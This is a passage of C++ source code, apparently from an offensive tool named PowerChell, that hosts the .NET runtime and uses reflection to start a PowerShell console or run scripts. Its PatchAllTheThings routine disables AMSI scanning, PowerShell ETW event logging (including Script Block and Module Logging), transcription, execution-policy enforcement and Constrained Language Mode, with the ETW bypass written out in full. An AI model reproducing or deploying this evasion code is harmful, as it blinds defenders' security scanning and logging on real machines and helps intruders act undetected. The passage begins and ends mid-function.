bindingFlags, VARIANT vtObject, LPCWSTR pwszPropertyName, VARIANT* pvtPropertyValue) 291 | { 292 | BOOL bResult = FALSE; 293 | HRESULT hr; 294 | VARIANT vtPropertyValue = { 0 }; 295 | mscorlib::_PropertyInfo* pPropertyInfo = NULL; 296 | 297 | if (!clr::GetProperty(pType, bindingFlags, pwszPropertyName, &pPropertyInfo)) 298 | goto exit; 299 | 300 | hr = pPropertyInfo->GetValue(vtObject, NULL, &vtPropertyValue); 301 | EXIT_ON_HRESULT_ERROR(L"PropertyInfo->GetValue", hr); 302 | 303 | memcpy_s(pvtPropertyValue, sizeof(*pvtPropertyValue), &vtPropertyValue, sizeof(vtPropertyValue)); 304 | bResult = TRUE; 305 | 306 | exit: 307 | if (pPropertyInfo) pPropertyInfo->Release(); 308 | 309 | return bResult; 310 | } 311 | 312 | BOOL clr::GetField(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszFieldName, mscorlib::_FieldInfo** ppFieldInfo) 313 | { 314 | HRESULT hr; 315 | BOOL bResult = FALSE; 316 | BSTR bstrFieldName = SysAllocString(pwszFieldName); 317 | mscorlib::_FieldInfo* pFieldInfo = NULL; 318 | 319 | hr = pType->GetField(bstrFieldName, bindingFlags, &pFieldInfo); 320 | EXIT_ON_HRESULT_ERROR(L"Type->GetField", hr); 321 | EXIT_ON_NULL_POINTER(pwszFieldName, pFieldInfo); 322 | 323 | *ppFieldInfo = pFieldInfo; 324 | bResult = TRUE; 325 | 326 | exit: 327 | if (bstrFieldName) SysFreeString(bstrFieldName); 328 | 329 | return bResult; 330 | } 331 | 332 | BOOL clr::GetFieldValue(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, VARIANT vtObject, LPCWSTR pwszFieldName, VARIANT* pvtFieldValue) 333 | { 334 | BOOL bResult = FALSE; 335 | HRESULT hr; 336 | VARIANT vtValue = { 0 }; 337 | mscorlib::_FieldInfo* pFieldInfo = NULL; 338 | 339 | if (!clr::GetField(pType, bindingFlags, pwszFieldName, &pFieldInfo)) 340 | goto exit; 341 | 342 | hr = pFieldInfo->GetValue(vtObject, &vtValue); 343 | EXIT_ON_HRESULT_ERROR(L"FieldInfo->GetValue", hr); 344 | 345 | memcpy_s(pvtFieldValue, sizeof(*pvtFieldValue), &vtValue, sizeof(vtValue)); 346 | bResult = TRUE; 347 | 348 | exit: 349 | if (pFieldInfo) pFieldInfo->Release(); 350 | 351 | return bResult; 352 | } 353 | 354 | BOOL clr::GetMethod(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszMethodName, LONG lNbArg, mscorlib::_MethodInfo** ppMethodInfo) 355 | { 356 | HRESULT hr; 357 | BOOL bResult = FALSE; 358 | SAFEARRAY* pMethods = NULL; 359 | mscorlib::_MethodInfo* pMethodInfo; 360 | 361 | hr = pType->GetMethods(bindingFlags, &pMethods); 362 | EXIT_ON_HRESULT_ERROR(L"Type->GetMethods", hr); 363 | 364 | if (!clr::FindMethodInArray(pMethods, pwszMethodName, lNbArg, &pMethodInfo)) 365 | goto exit; 366 | 367 | *ppMethodInfo = pMethodInfo; 368 | bResult = TRUE; 369 | 370 | exit: 371 | if (pMethods) SafeArrayDestroy(pMethods); 372 | 373 | return bResult; 374 | } 375 | 376 | BOOL clr::InvokeMethod(mscorlib::_MethodInfo* pMethodInfo, VARIANT vtObject, SAFEARRAY* pParameters, VARIANT* pvtResult) 377 | { 378 | HRESULT hr; 379 | BOOL bResult = FALSE; 380 | 381 | hr = pMethodInfo->Invoke_3(vtObject, pParameters, pvtResult); 382 | EXIT_ON_HRESULT_ERROR(L"MethodInfo->Invoke_3", hr); 383 | 384 | bResult = TRUE; 385 | 386 | exit: 387 | return bResult; 388 | } 389 | 390 | BOOL clr::FindMethodInArray(SAFEARRAY* pMethods, LPCWSTR pwszMethodName, LONG lNbArgs, mscorlib::_MethodInfo** ppMethodInfo) 391 | { 392 | BOOL bResult = FALSE; 393 | HRESULT hr; 394 | LONG lMethodsLowerBound, lMethodsUpperBound; 395 | LONG lParametersLowerBound, lParametersUpperBound; 396 | BSTR bstrMethodName; 397 | SAFEARRAY* pParameters = NULL; 398 | mscorlib::_MethodInfo** ppMethods = NULL; 399 | mscorlib::_MethodInfo* pTargetMethodInfo = NULL; 400 | 401 | SafeArrayGetLBound(pMethods, 1, &lMethodsLowerBound); 402 | SafeArrayGetUBound(pMethods, 1, &lMethodsUpperBound); 403 | 404 | hr = SafeArrayAccessData(pMethods, (void**)&ppMethods); 405 | EXIT_ON_HRESULT_ERROR(L"SafeArrayAccessData", hr); 406 | 407 | for (int i = 0; i < lMethodsUpperBound - lMethodsLowerBound + 1; i++) 408 | { 409 | bstrMethodName = NULL; 410 | hr = ppMethods[i]->get_name(&bstrMethodName); 411 | 412 | if (SUCCEEDED(hr)) 413 | { 414 | if (_wcsicmp(bstrMethodName, pwszMethodName) == 0) 415 | { 416 | hr = ppMethods[i]->GetParameters(&pParameters); 417 | 418 | if (SUCCEEDED(hr)) 419 | { 420 | SafeArrayGetLBound(pParameters, 1, &lParametersLowerBound); 421 | SafeArrayGetUBound(pParameters, 1, &lParametersUpperBound); 422 | 423 | if (lParametersUpperBound - lParametersLowerBound + 1 == lNbArgs) 424 | { 425 | pTargetMethodInfo = ppMethods[i]; 426 | break; 427 | } 428 | 429 | SafeArrayDestroy(pParameters); 430 | } 431 | } 432 | 433 | SysFreeString(bstrMethodName); 434 | } 435 | } 436 | 437 | if (!pTargetMethodInfo) 438 | { 439 | PRINT_ERROR("Could not find a method named '%ws' with %d arguments.\n", pwszMethodName, lNbArgs); 440 | goto exit; 441 | } 442 | 443 | bResult = TRUE; 444 | *ppMethodInfo = pTargetMethodInfo; 445 | 446 | exit: 447 | return bResult; 448 | } 449 | 450 | BOOL clr::PrepareMethod(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtMethodHandle) 451 | { 452 | BOOL bResult = FALSE; 453 | LONG lArgumentIndex; 454 | SAFEARRAY* pPrepareMethodArguments = NULL; 455 | VARIANT vtEmpty = { 0 }; 456 | VARIANT vtResult = { 0 }; 457 | mscorlib::_Type* pRuntimeHelpersType = NULL; 458 | mscorlib::_MethodInfo* pPrepareMethod = NULL; 459 | 460 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.Runtime.CompilerServices.RuntimeHelpers", &pRuntimeHelpersType)) 461 | goto exit; 462 | 463 | if (!clr::GetMethod(pRuntimeHelpersType, static_cast(BINDING_FLAGS_PUBLIC_STATIC), L"PrepareMethod", 1, &pPrepareMethod)) 464 | goto exit; 465 | 466 | pPrepareMethodArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); 467 | 468 | lArgumentIndex = 0; 469 | SafeArrayPutElement(pPrepareMethodArguments, &lArgumentIndex, pvtMethodHandle); 470 | 471 | if (!clr::InvokeMethod(pPrepareMethod, vtEmpty, pPrepareMethodArguments, &vtResult)) 472 | goto exit; 473 | 474 | bResult = TRUE; 475 | 476 | exit: 477 | if (pPrepareMethodArguments) SafeArrayDestroy(pPrepareMethodArguments); 478 | 479 | if (pPrepareMethod) pPrepareMethod->Release(); 480 | if (pRuntimeHelpersType) pRuntimeHelpersType->Release(); 481 | 482 | VariantClear(&vtResult); 483 | 484 | return bResult; 485 | } 486 | 487 | BOOL clr::GetFunctionPointer(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtMethodHandle, PULONG_PTR pFunctionPointer) 488 | { 489 | BOOL bResult = FALSE; 490 | VARIANT vtFunctionPointer = { 0 }; 491 | mscorlib::_Type* pRuntimeMethodHandleType = NULL; 492 | mscorlib::_MethodInfo* pGetFunctionPointerInfo = NULL; 493 | 494 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.RuntimeMethodHandle", &pRuntimeMethodHandleType)) 495 | goto exit; 496 | 497 | if (!clr::GetMethod(pRuntimeMethodHandleType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetFunctionPointer", 0, &pGetFunctionPointerInfo)) 498 | goto exit; 499 | 500 | if (!clr::InvokeMethod(pGetFunctionPointerInfo, *pvtMethodHandle, NULL, &vtFunctionPointer)) 501 | goto exit; 502 | 503 | *pFunctionPointer = vtFunctionPointer.ullVal; 504 | bResult = TRUE; 505 | 506 | exit: 507 | if (pGetFunctionPointerInfo) pGetFunctionPointerInfo->Release(); 508 | if (pRuntimeMethodHandleType) pRuntimeMethodHandleType->Release(); 509 | 510 | return bResult; 511 | } 512 | 513 | BOOL clr::GetJustInTimeMethodAddress(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, PULONG_PTR pMethodAddress) 514 | { 515 | BOOL bResult = FALSE; 516 | VARIANT vtMethodHandlePtr = { 0 }; 517 | VARIANT vtMethodHandleVal = { 0 }; 518 | mscorlib::_Type* pType = NULL; 519 | mscorlib::_Type* pMethodInfoType = NULL; 520 | mscorlib::_MethodInfo* pTargetMethodInfo = NULL; 521 | 522 | // Here, we include as many binding flags as we can so that we can list 523 | // ALL the methods of the target class. 524 | mscorlib::BindingFlags flags = static_cast( 525 | mscorlib::BindingFlags::BindingFlags_Instance | 526 | mscorlib::BindingFlags::BindingFlags_Static | 527 | mscorlib::BindingFlags::BindingFlags_Public | 528 | mscorlib::BindingFlags::BindingFlags_NonPublic | 529 | mscorlib::BindingFlags::BindingFlags_DeclaredOnly 530 | ); 531 | 532 | if (!clr::GetType(pAppDomain, pwszAssemblyName, pwszClassName, &pType)) 533 | goto exit; 534 | 535 | if (!clr::GetMethod(pType, flags, pwszMethodName, dwNbArgs, &pTargetMethodInfo)) 536 | goto exit; 537 | 538 | // 539 | // The method for obtaining the MethodHandle from the MethodInfo object is 540 | // taken from this article. 541 | // 542 | // Credit: 543 | // - https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/ 544 | // 545 | 546 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_REFLECTION, L"System.Reflection.MethodInfo", &pMethodInfoType)) 547 | goto exit; 548 | 549 | vtMethodHandlePtr.vt = VT_UNKNOWN; 550 | vtMethodHandlePtr.punkVal = pTargetMethodInfo; 551 | 552 | if (!clr::GetPropertyValue(pMethodInfoType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtMethodHandlePtr, L"MethodHandle", &vtMethodHandleVal)) 553 | goto exit; 554 | 555 | // 556 | // Next, we can invoke 'RuntimeHelpers.PrepareMethod' to make sure the target 557 | // method is JIT-compiled, and finally get its effective address. 558 | // 559 | // Credit: 560 | // - https://github.com/calebstewart/bypass-clm 561 | // - https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies/ 562 | // 563 | 564 | if (!PrepareMethod(pAppDomain, &vtMethodHandleVal)) 565 | goto exit; 566 | 567 | if (!GetFunctionPointer(pAppDomain, &vtMethodHandleVal, pMethodAddress)) 568 | goto exit; 569 | 570 | bResult = TRUE; 571 | 572 | exit: 573 | if (pTargetMethodInfo) pTargetMethodInfo->Release(); 574 | if (pType) pType->Release(); 575 | if (pMethodInfoType) pMethodInfoType->Release(); 576 | 577 | VariantClear(&vtMethodHandleVal); 578 | VariantClear(&vtMethodHandlePtr); 579 | 580 | return bResult; 581 | } 582 | 583 | BOOL dotnet::System_Object_GetType(mscorlib::_AppDomain* pAppDomain, VARIANT vtObject, VARIANT* pvtObjectType) 584 | { 585 | BOOL bResult = FALSE; 586 | VARIANT vtGetTypeResult = { 0 }; 587 | mscorlib::_Type* pObjectType = NULL; 588 | mscorlib::_MethodInfo* pGetTypeMethodInfo = NULL; 589 | 590 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.Object", &pObjectType)) 591 | goto exit; 592 | 593 | if (!clr::GetMethod(pObjectType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetType", 0, &pGetTypeMethodInfo)) 594 | goto exit; 595 | 596 | if (!clr::InvokeMethod(pGetTypeMethodInfo, vtObject, NULL, &vtGetTypeResult)) 597 | goto exit; 598 | 599 | memcpy_s(pvtObjectType, sizeof(*pvtObjectType), &vtGetTypeResult, sizeof(vtGetTypeResult)); 600 | bResult = TRUE; 601 | 602 | exit: 603 | if (pGetTypeMethodInfo) pGetTypeMethodInfo->Release(); 604 | if (pObjectType) pObjectType->Release(); 605 | 606 | return bResult; 607 | } 608 | 609 | BOOL dotnet::System_Type_GetProperty(mscorlib::_AppDomain* pAppDomain, VARIANT vtTypeObject, LPCWSTR pwszPropertyName, VARIANT* pvtPropertyInfo) 610 | { 611 | BOOL bResult = FALSE; 612 | LONG lArgumentIndex; 613 | VARIANT vtPropertyName = { 0 }; 614 | VARIANT vtPropertyInfo = { 0 }; 615 | SAFEARRAY* pGetPropertyArguments = NULL; 616 | mscorlib::_Type* pTypeType = NULL; 617 | mscorlib::_MethodInfo* pGetPropertyMethodInfo = NULL; 618 | 619 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.Type", &pTypeType)) 620 | goto exit; 621 | 622 | if (!clr::GetMethod(pTypeType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetProperty", 1, &pGetPropertyMethodInfo)) 623 | goto exit; 624 | 625 | InitVariantFromString(pwszPropertyName, &vtPropertyName); 626 | pGetPropertyArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); 627 | 628 | lArgumentIndex = 0; 629 | SafeArrayPutElement(pGetPropertyArguments, &lArgumentIndex, &vtPropertyName); 630 | 631 | if (!clr::InvokeMethod(pGetPropertyMethodInfo, vtTypeObject, pGetPropertyArguments, &vtPropertyInfo)) 632 | goto exit; 633 | 634 | memcpy_s(pvtPropertyInfo, sizeof(*pvtPropertyInfo), &vtPropertyInfo, sizeof(vtPropertyInfo)); 635 | bResult = TRUE; 636 | 637 | exit: 638 | if (pGetPropertyArguments) SafeArrayDestroy(pGetPropertyArguments); 639 | 640 | if (pGetPropertyMethodInfo) pGetPropertyMethodInfo->Release(); 641 | if (pTypeType) pTypeType->Release(); 642 | 643 | VariantClear(&vtPropertyName); 644 | 645 | return bResult; 646 | } 647 | 648 | BOOL dotnet::System_Reflection_PropertyInfo_GetValue(mscorlib::_AppDomain* pAppDomain, VARIANT vtPropertyInfo, VARIANT vtObject, SAFEARRAY* pIndex, VARIANT* pvtValue) 649 | { 650 | BOOL bResult = FALSE; 651 | LONG lNbArguments; 652 | LONG lArgumentIndex; 653 | VARIANT vtIndexArray = { 0 }; 654 | VARIANT vtValue = { 0 }; 655 | SAFEARRAY* pGetValueArguments = NULL; 656 | mscorlib::_Type* pPropertyInfoType = NULL; 657 | mscorlib::_MethodInfo* pGetValueMethodInfo = NULL; 658 | 659 | lNbArguments = pIndex != NULL ? 2 : 1; 660 | 661 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_REFLECTION, L"System.Reflection.PropertyInfo", &pPropertyInfoType)) 662 | goto exit; 663 | 664 | if (!clr::GetMethod(pPropertyInfoType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetValue", lNbArguments, &pGetValueMethodInfo)) 665 | goto exit; 666 | 667 | pGetValueArguments = SafeArrayCreateVector(VT_VARIANT, 0, lNbArguments); 668 | 669 | lArgumentIndex = 0; 670 | SafeArrayPutElement(pGetValueArguments, &lArgumentIndex, &vtObject); 671 | 672 | if (pIndex != NULL) 673 | { 674 | vtIndexArray.vt = VT_ARRAY | VT_VARIANT; 675 | vtIndexArray.parray = pIndex; 676 | 677 | lArgumentIndex = 1; 678 | SafeArrayPutElement(pGetValueArguments, &lArgumentIndex, &vtIndexArray); 679 | } 680 | 681 | if (!clr::InvokeMethod(pGetValueMethodInfo, vtPropertyInfo, pGetValueArguments, &vtValue)) 682 | goto exit; 683 | 684 | memcpy_s(pvtValue, sizeof(*pvtValue), &vtValue, sizeof(vtValue)); 685 | bResult = TRUE; 686 | 687 | exit: 688 | if (pGetValueArguments) SafeArrayDestroy(pGetValueArguments); 689 | 690 | if (pGetValueMethodInfo) pGetValueMethodInfo->Release(); 691 | if (pPropertyInfoType) pPropertyInfoType->Release(); 692 | 693 | return bResult; 694 | } 695 | 696 | BOOL dotnet::System_Reflection_PropertyInfo_GetValue(mscorlib::_AppDomain* pAppDomain, VARIANT vtPropertyInfo, VARIANT vtObject, VARIANT* pvtValue) 697 | { 698 | return dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtPropertyInfo, vtObject, NULL, pvtValue); 699 | } 700 | -------------------------------------------------------------------------------- /PowerChellLib/powershell.cpp: -------------------------------------------------------------------------------- 1 | #include "powershell.h" 2 | #include "common.h" 3 | #include "patch.h" 4 | 5 | void CreatePowerShellConsole() 6 | { 7 | mscorlib::_AppDomain* pAppDomain = NULL; 8 | CLR_CONTEXT cc = { 0 }; 9 | VARIANT vtInitialRunspaceConfiguration = { 0 }; 10 | LPCWSTR pwszBannerText = L"Windows PowerChell\nCopyright (C) Microsoft Corporation. All rights reserved."; 11 | LPCWSTR pwszHelpText = L"Help message"; 12 | LPCWSTR ppwszArguments[] = { NULL }; 13 | 14 | if (!clr::InitializeCommonLanguageRuntime(&cc, &pAppDomain)) 15 | goto exit; 16 | 17 | if (!CreateInitialRunspaceConfiguration(pAppDomain, &vtInitialRunspaceConfiguration)) 18 | goto exit; 19 | 20 | PatchAllTheThings(pAppDomain); 21 | 22 | if (!StartConsoleShell(pAppDomain, vtInitialRunspaceConfiguration, pwszBannerText, pwszHelpText, ppwszArguments, ARRAYSIZE(ppwszArguments))) 23 | goto exit; 24 | 25 | exit: 26 | VariantClear(&vtInitialRunspaceConfiguration); 27 | clr::DestroyCommonLanguageRuntime(&cc, pAppDomain); 28 | } 29 | 30 | void ExecutePowerShellScript(LPWSTR pwszScript) 31 | { 32 | mscorlib::_AppDomain* pAppDomain = NULL; 33 | CLR_CONTEXT cc = { 0 }; 34 | VARIANT vtPowerShell = { 0 }; 35 | VARIANT vtInvokeResult = { 0 }; 36 | BOOL bHadErrors = FALSE; 37 | 38 | if (!clr::InitializeCommonLanguageRuntime(&cc, &pAppDomain)) 39 | goto exit; 40 | 41 | if (!PowerShellCreate(pAppDomain, &vtPowerShell)) 42 | goto exit; 43 | 44 | if (!PowerShellAddScript(pAppDomain, vtPowerShell, pwszScript)) 45 | goto exit; 46 | 47 | if (!PowerShellAddCommand(pAppDomain, vtPowerShell, L"Out-String")) 48 | goto exit; 49 | 50 | PatchAllTheThings(pAppDomain); 51 | 52 | if (PowerShellInvoke(pAppDomain, vtPowerShell, &vtInvokeResult)) 53 | { 54 | PrintPowerShellInvokeResult(pAppDomain, vtInvokeResult); 55 | PrintPowerShellInvokeInformation(pAppDomain, vtPowerShell); 56 | } 57 | 58 | if (!PowerShellHadErrors(pAppDomain, vtPowerShell, &bHadErrors)) 59 | goto exit; 60 | 61 | if (bHadErrors) 62 | { 63 | PrintPowerShellInvokeErrors(pAppDomain, vtPowerShell); 64 | } 65 | 66 | exit: 67 | if (pAppDomain && vtPowerShell.punkVal) PowerShellDispose(pAppDomain, vtPowerShell); 68 | VariantClear(&vtInvokeResult); 69 | VariantClear(&vtPowerShell); 70 | clr::DestroyCommonLanguageRuntime(&cc, pAppDomain); 71 | 72 | return; 73 | } 74 | 75 | // 76 | // The following function retrieves an instance of the PSEtwLogProvider class, gets 77 | // the value of its 'etwProvider' member, which is an EventProvider object, and sets 78 | // the 'm_enabled' attribute of this latter object to 0, thus effectively disabling 79 | // all PowerShell event logs in the current process. This includes Script Block 80 | // Logging and Module Logging. 81 | // 82 | // Credit: 83 | // - https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32 84 | // 85 | BOOL DisablePowerShellEtwProvider(mscorlib::_AppDomain* pAppDomain) 86 | { 87 | BOOL bResult = FALSE; 88 | HRESULT hr; 89 | VARIANT vtEmpty = { 0 }; 90 | VARIANT vtPsEtwLogProviderInstance = { 0 }; 91 | VARIANT vtZero = { 0 }; 92 | mscorlib::_Type* pPsEtwLogProviderType = NULL; 93 | mscorlib::_Type* pEventProviderType = NULL; 94 | mscorlib::_FieldInfo* pEnabledInfo = NULL; 95 | 96 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.Tracing.PSEtwLogProvider", &pPsEtwLogProviderType)) 97 | goto exit; 98 | 99 | if (!clr::GetFieldValue(pPsEtwLogProviderType, static_cast(BINDING_FLAGS_NONPUBLIC_STATIC), vtEmpty, L"etwProvider", &vtPsEtwLogProviderInstance)) 100 | goto exit; 101 | 102 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_CORE, L"System.Diagnostics.Eventing.EventProvider", &pEventProviderType)) 103 | goto exit; 104 | 105 | if (!clr::GetField(pEventProviderType, static_cast(BINDING_FLAGS_NONPUBLIC_INSTANCE), L"m_enabled", &pEnabledInfo)) 106 | goto exit; 107 | 108 | InitVariantFromInt32(0, &vtZero); 109 | 110 | hr = pEnabledInfo->SetValue_2(vtPsEtwLogProviderInstance, vtZero); 111 | EXIT_ON_HRESULT_ERROR(L"FieldInfo->SetValue", hr); 112 | 113 | bResult = TRUE; 114 | 115 | exit: 116 | if (pEnabledInfo) pEnabledInfo->Release(); 117 | if (pEventProviderType) pEventProviderType->Release(); 118 | if (pPsEtwLogProviderType) pPsEtwLogProviderType->Release(); 119 | 120 | VariantClear(&vtPsEtwLogProviderInstance); 121 | 122 | return bResult; 123 | } 124 | 125 | void PatchAllTheThings(mscorlib::_AppDomain* pAppDomain) 126 | { 127 | if (!PatchAmsiOpenSession()) 128 | PRINT_ERROR("Failed to disable AMSI (1).\n"); 129 | 130 | if (!PatchAmsiScanBuffer()) 131 | PRINT_ERROR("Failed to disable AMSI (2).\n"); 132 | 133 | if (!DisablePowerShellEtwProvider(pAppDomain)) 134 | PRINT_ERROR("Failed to disable ETW Provider.\n"); 135 | 136 | if (!PatchTranscriptionOptionFlushContentToDisk(pAppDomain)) 137 | PRINT_ERROR("Failed to disable Transcription.\n"); 138 | 139 | if (!PatchAuthorizationManagerShouldRunInternal(pAppDomain)) 140 | PRINT_ERROR("Failed to disable Execution Policy enforcement.\n"); 141 | 142 | if (!PatchSystemPolicyGetSystemLockdownPolicy(pAppDomain)) 143 | PRINT_ERROR("Failed to disable Constrained Mode Language.\n"); 144 | 145 | return; 146 | } 147 | 148 | BOOL CreateInitialRunspaceConfiguration(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtRunspaceConfiguration) 149 | { 150 | BOOL bResult = FALSE; 151 | VARIANT vtEmpty = { 0 }; 152 | VARIANT vtResult = { 0 }; 153 | mscorlib::_Type* pRunspaceConfigurationType = NULL; 154 | mscorlib::_MethodInfo* pCreateInfo = NULL; 155 | 156 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.Runspaces.RunspaceConfiguration", &pRunspaceConfigurationType)) 157 | goto exit; 158 | 159 | if (!clr::GetMethod(pRunspaceConfigurationType, static_cast(BINDING_FLAGS_PUBLIC_STATIC), L"Create", 0, &pCreateInfo)) 160 | goto exit; 161 | 162 | if (!clr::InvokeMethod(pCreateInfo, vtEmpty, NULL, &vtResult)) 163 | goto exit; 164 | 165 | memcpy_s(pvtRunspaceConfiguration, sizeof(*pvtRunspaceConfiguration), &vtResult, sizeof(vtResult)); 166 | bResult = TRUE; 167 | 168 | exit: 169 | if (pCreateInfo) pCreateInfo->Release(); 170 | if (pRunspaceConfigurationType) pRunspaceConfigurationType->Release(); 171 | 172 | return bResult; 173 | } 174 | 175 | BOOL StartConsoleShell(mscorlib::_AppDomain* pAppDomain, VARIANT vtRunspaceConfiguration, LPCWSTR pwszBanner, LPCWSTR pwszHelp, LPCWSTR* ppwszArguments, DWORD dwArgumentCount) 176 | { 177 | BOOL bResult = FALSE; 178 | LONG lArgumentIndex; 179 | VARIANT vtEmpty = { 0 }; 180 | VARIANT vtResult = { 0 }; 181 | VARIANT vtBannerText = { 0 }; 182 | VARIANT vtHelpText = { 0 }; 183 | VARIANT vtArguments = { 0 }; 184 | SAFEARRAY* pStartArguments = NULL; 185 | mscorlib::_Type* pConsoleShellType = NULL; 186 | mscorlib::_MethodInfo* pStartMethodInfo = NULL; 187 | 188 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_MICROSOFT_POWERSHELL_CONSOLEHOST, L"Microsoft.PowerShell.ConsoleShell", &pConsoleShellType)) 189 | goto exit; 190 | 191 | if (!clr::GetMethod(pConsoleShellType, static_cast(BINDING_FLAGS_PUBLIC_STATIC), L"Start", 4, &pStartMethodInfo)) 192 | goto exit; 193 | 194 | InitVariantFromString(pwszBanner, &vtBannerText); 195 | InitVariantFromString(pwszHelp, &vtHelpText); 196 | InitVariantFromStringArray(ppwszArguments, dwArgumentCount, &vtArguments); 197 | 198 | pStartArguments = SafeArrayCreateVector(VT_VARIANT, 0, 4); 199 | 200 | lArgumentIndex = 0; 201 | SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtRunspaceConfiguration); 202 | lArgumentIndex = 1; 203 | SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtBannerText); 204 | lArgumentIndex = 2; 205 | SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtHelpText); 206 | lArgumentIndex = 3; 207 | SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtArguments); 208 | 209 | if (!clr::InvokeMethod(pStartMethodInfo, vtEmpty, pStartArguments, &vtResult)) 210 | goto exit; 211 | 212 | bResult = TRUE; 213 | 214 | exit: 215 | if (pStartArguments) SafeArrayDestroy(pStartArguments); 216 | 217 | if (pStartMethodInfo) pStartMethodInfo->Release(); 218 | if (pConsoleShellType) pConsoleShellType->Release(); 219 | 220 | VariantClear(&vtResult); 221 | VariantClear(&vtBannerText); 222 | VariantClear(&vtHelpText); 223 | VariantClear(&vtArguments); 224 | 225 | return bResult; 226 | } 227 | 228 | BOOL PowerShellCreate(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtPowerShellInstance) 229 | { 230 | BOOL bResult = FALSE; 231 | VARIANT vtEmpty = { 0 }; 232 | VARIANT vtInstance = { 0 }; 233 | mscorlib::_Type* pPowerShellType = NULL; 234 | mscorlib::_MethodInfo* pCreateMethodInfo = NULL; 235 | 236 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 237 | goto exit; 238 | 239 | if (!clr::GetMethod(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_STATIC), L"Create", 0, &pCreateMethodInfo)) 240 | goto exit; 241 | 242 | if (!clr::InvokeMethod(pCreateMethodInfo, vtEmpty, NULL, &vtInstance)) 243 | goto exit; 244 | 245 | memcpy_s(pvtPowerShellInstance, sizeof(*pvtPowerShellInstance), &vtInstance, sizeof(vtInstance)); 246 | bResult = TRUE; 247 | 248 | exit: 249 | if (pCreateMethodInfo) pCreateMethodInfo->Release(); 250 | if (pPowerShellType) pPowerShellType->Release(); 251 | 252 | return bResult; 253 | } 254 | 255 | BOOL PowerShellDispose(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance) 256 | { 257 | BOOL bResult = FALSE; 258 | VARIANT vtResult = { 0 }; 259 | mscorlib::_Type* pPowerShellType = NULL; 260 | mscorlib::_MethodInfo* pDisposeMethodInfo = NULL; 261 | 262 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 263 | goto exit; 264 | 265 | if (!clr::GetMethod(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"Dispose", 0, &pDisposeMethodInfo)) 266 | goto exit; 267 | 268 | if (!clr::InvokeMethod(pDisposeMethodInfo, vtPowerShellInstance, NULL, &vtResult)) 269 | goto exit; 270 | 271 | bResult = TRUE; 272 | 273 | exit: 274 | if (pDisposeMethodInfo) pDisposeMethodInfo->Release(); 275 | if (pPowerShellType) pPowerShellType->Release(); 276 | 277 | VariantClear(&vtResult); 278 | 279 | return bResult; 280 | } 281 | 282 | BOOL PowerShellAddScript(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPWSTR pwszScript) 283 | { 284 | BOOL bResult = FALSE; 285 | LONG lArgumentIndex; 286 | VARIANT vtScript = { 0 }; 287 | VARIANT vtResult = { 0 }; 288 | SAFEARRAY* pAddScriptArguments = NULL; 289 | mscorlib::_Type* pPowerShellType = NULL; 290 | mscorlib::_MethodInfo* pAddScriptMethodInfo = NULL; 291 | 292 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 293 | goto exit; 294 | 295 | if (!clr::GetMethod(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"AddScript", 1, &pAddScriptMethodInfo)) 296 | goto exit; 297 | 298 | InitVariantFromString(pwszScript, &vtScript); 299 | pAddScriptArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); 300 | 301 | lArgumentIndex = 0; 302 | SafeArrayPutElement(pAddScriptArguments, &lArgumentIndex, &vtScript); 303 | 304 | if (!clr::InvokeMethod(pAddScriptMethodInfo, vtPowerShellInstance, pAddScriptArguments, &vtResult)) 305 | goto exit; 306 | 307 | bResult = TRUE; 308 | 309 | exit: 310 | if (pAddScriptArguments) 